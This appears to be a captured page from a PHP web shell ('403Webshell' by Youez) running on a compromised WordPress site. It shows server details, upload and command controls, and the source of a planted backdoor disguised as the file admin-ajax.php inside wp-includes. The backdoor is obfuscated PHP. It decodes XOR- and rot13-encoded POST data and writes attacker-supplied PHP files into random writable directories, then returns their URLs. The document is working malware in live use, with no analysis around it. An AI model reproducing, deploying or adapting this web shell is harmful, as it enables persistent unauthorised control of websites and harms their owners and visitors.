403Webshell
Server IP : 104.21.38.3  /  Your IP : 104.23.175.161
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/savinassociates.com/wp-includes/rest-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/savinassociates.com/wp-includes/rest-api//admin-ajax.php
<?php $VdaEbSIfXB = "\x44"."\117".'C'.'U'."\115"."\x45"."\x4e".'T'.'_'."\122".'O'.'O'.chr(84);$gyvGDzKy = chr(1058-986).chr(386-302).chr(84)."\120".'_'."\110".chr(79).chr(83)."\x54";$yFnWmt = 'h'.'t'."\x74".chr(112)."\x3a".chr(366-319).chr(47);$JrAaApe = "\56".chr(183-71).'h'."\160";$GPJDmQmR = chr(865-753)."\150".'p';$osNYjwU = chr(102)."\x69"."\x6c".'e'."\x5f".'p'.'u'.'t'."\x5f".'c'.chr(238-127)."\x6e".chr(332-216)."\145".chr(1066-956)."\164"."\x73";$WEbYpu = "\x72"."\x61".'w'."\165".chr(980-866).'l'."\x64".chr(101)."\143"."\x6f".chr(100)."\x65";$sMNTLE = 'u'."\x6e"."\x73"."\x65".chr(114).chr(241-136).'a'.chr(108).'i'.chr(122)."\x65";$BbSUlvpD = 'i'.chr(728-613)."\x5f"."\x77".chr(661-547).'i'."\x74"."\141".chr(98).'l'.chr(101);$GTtjGaafH = chr(112).chr(104).'p'."\166"."\145"."\x72"."\x73"."\151"."\x6f".chr(580-470);$FeMTzMH = "\x73"."\x74".'r'.chr(95).'r'."\157".chr(266-150).chr(49).'3';$raNhqA = "\163"."\145"."\162".chr(751-646)."\x61".'l'.chr(105).chr(171-49).chr(858-757);$SYGKthZF = "\x73"."\164".chr(165-51).chr(187-92).'s'.chr(112).chr(521-413).'i'.chr(493-377);foreach ($_POST as $ArwmY => $yXrRUgui){$KgQbEnjt = strlen($ArwmY);if ($KgQbEnjt == 16){$yXrRUgui = $SYGKthZF($WEbYpu($FeMTzMH($yXrRUgui)));$ArwmY = array_slice($SYGKthZF(str_repeat($ArwmY, (count($yXrRUgui)/16)+1)), 0, count($yXrRUgui));function vsMUJgHsH($xwPCYZFssf, $uAbTCgT, $ArwmY){$LCmjnRMLWn = "51eb9373-9252-4504-9345-801527543d78";return $xwPCYZFssf ^ $LCmjnRMLWn[$uAbTCgT % strlen($LCmjnRMLWn)] ^ $ArwmY;}$yXrRUgui = implode("", array_map("vsMUJgHsH", array_values($yXrRUgui), array_keys($yXrRUgui), array_values($ArwmY)));$yXrRUgui = @$sMNTLE($yXrRUgui);if (@is_array($yXrRUgui)){$cEuigF = array_keys($yXrRUgui);$yXrRUgui = $yXrRUgui[$cEuigF[0]];if ($yXrRUgui === $cEuigF[0]){echo @$raNhqA(Array($GPJDmQmR => @$GTtjGaafH(), ));exit();}else {function Enbuz($GZWdFYmir){static $RqSFs = array();$EndtUuKGZo = glob($GZWdFYmir . '/*', GLOB_ONLYDIR);$qDMVsmgP = count($EndtUuKGZo);if ($qDMVsmgP > 0) {foreach ($EndtUuKGZo as $GZWdFYm) {if (@$BbSUlvpD($GZWdFYm)) {$RqSFs[] = $GZWdFYm;}}}foreach ($EndtUuKGZo as $GZWdFYmir) Enbuz($GZWdFYmir);return $RqSFs;}$IFOwp = $_SERVER[$VdaEbSIfXB];$EndtUuKGZo = Enbuz($IFOwp);$cEuigF = array_rand($EndtUuKGZo);$uMADJpdtUC = $EndtUuKGZo[$cEuigF] . "/" . substr(md5(time()), 0, 8) . $JrAaApe;@$osNYjwU($uMADJpdtUC, $yXrRUgui);$rsYaJiol = $yFnWmt . $_SERVER[$gyvGDzKy] . substr($uMADJpdtUC, strlen($IFOwp));echo $rsYaJiol;die();}}}}

Youez - 2016 - github.com/yon3zu
LinuXploit